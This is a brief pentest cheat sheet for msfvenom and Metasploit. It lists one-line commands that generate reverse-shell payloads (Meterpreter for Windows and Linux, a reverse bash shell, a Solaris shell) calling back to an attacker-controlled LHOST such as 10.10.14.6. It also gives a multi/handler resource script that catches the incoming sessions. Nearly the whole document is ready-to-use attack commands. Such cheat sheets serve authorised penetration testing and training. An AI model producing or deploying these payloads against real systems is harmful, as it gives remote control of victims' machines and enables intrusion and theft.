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# msfvenom

**Example:** 

`msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={Port} -f exe -o shell.exe` 

**Handler**: 

```
Use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST  
set LPORT  
set ExitOnSession false  
exploit -j -z 
```

\*copy into a file with .rc extenation and run as: 

`msfconsole -r example.rc` 

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**Common payloads:** 

**Linux**: 

`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf`&#x20;

**Windows**:&#x20;

`msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe`&#x20;

**Bash**:&#x20;

`msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh`&#x20;

**Solaris**:&#x20;

`msfvenom -p solaris/x86/shell_reverse_tcp lhost=10.10.14.6 lport=5555 -f elf > /root/Desktop/raj.elf`&#x20;